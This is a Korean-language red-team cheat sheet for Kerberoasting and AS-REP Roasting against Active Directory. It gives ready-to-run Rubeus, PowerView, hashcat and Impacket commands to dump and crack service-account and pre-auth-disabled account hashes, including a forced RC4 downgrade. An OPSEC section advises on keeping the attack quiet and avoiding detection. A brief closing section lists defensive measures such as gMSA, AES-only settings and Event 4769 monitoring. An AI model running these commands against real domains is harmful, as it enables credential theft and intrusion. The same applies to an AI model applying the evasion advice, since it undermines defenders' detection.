ATT&CK: T1558.003 Kerberoasting, T1558.004 AS-REP Roasting · Credential Access (TA0006)

Rubeus는 .NET으로 쓴 Kerberos 공격 도구. 일반 도메인 사용자 권한만 있으면 Kerberoasting이 되고, Pre-auth가 꺼진 계정이 있으면 AS-REP Roasting이 된다 — 둘 다 가장 가성비 좋은 초기 Credential Access.

1. Kerberoasting — SPN 서비스 계정 노리기

1.1 SPN 열거

# Rubeus
.\Rubeus.exe kerberoast /outfile:tgs.txt

# 특정 사용자만
.\Rubeus.exe kerberoast /user:svc_sql /outfile:tgs.txt

# PowerView 로 SPN 리스트 미리 보기
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName

1.2 받은 TGS를 hashcat 포맷으로

Rubeus 출력은 이미 hashcat 포맷($krb5tgs$23$*...*$...). 바로 투입:

hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
  • -m 13100: RC4-HMAC Kerberos 5 TGS-REP.
  • AES로 암호화된 티켓은 -m 19700 (AES-256). 요즘 환경은 AES가 기본이라 크랙 성공률 낮음.

1.3 RC4 강제 요청

AES가 기본이면 Rubeus에게 RC4 티켓을 요청하도록 유도 — 크랙 가능성 급상승:

.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:tgs.txt

/rc4opsec은 사용자 지정 /supportedEncryptionTypes 플래그를 세팅.

2. AS-REP Roasting — Pre-auth 꺼진 계정

2.1 대상 식별

# PowerView
Get-DomainUser -PreauthNotRequired | Select SamAccountName

2.2 Rubeus로 AS-REP 추출

# 특정 사용자
.\Rubeus.exe asreproast /user:alice /format:hashcat /outfile:asrep.txt

# 전체 자동
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

2.3 크랙

hashcat -m 18200 asrep.txt rockyou.txt

3. Impacket 대안 (Linux에서)

Windows 호스트 쓸 수 없을 때:

# Kerberoasting
impacket-GetUserSPNs -request -dc-ip 10.0.0.10 CORP/alice:Password

# AS-REP Roasting
impacket-GetNPUsers CORP/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10

사용자 리스트는 kerbrute 등으로 사전 열거.

4. OPSEC

  • Kerberoasting은 AS/TGS 요청 자체는 정상 Kerberos 트래픽이라 네트워크 로그만으로는 구분 어렵다. 다만 DC Event ID **4769 (TGS 요청)**에서 RC4 암호화 티켓이 급증하면 탐지됨.
  • /tgtdeleg + /rc4opsec 조합은 로그가 더 특이해지므로 반드시 조용히 가야 할 때는 피하기.
  • AS-REP는 pre-auth 비활성 계정 자체가 희귀. 보통 레거시 서비스 계정.

5. 방어자 측

  • SPN 걸린 서비스 계정은 반드시 25자+ 복잡 패스워드 또는 gMSA(관리형 서비스 계정)로 전환.
  • AES-only 설정으로 RC4 다운그레이드 차단.
  • Event 4769 모니터링 — 짧은 시간 다수 TGS 요청.

참고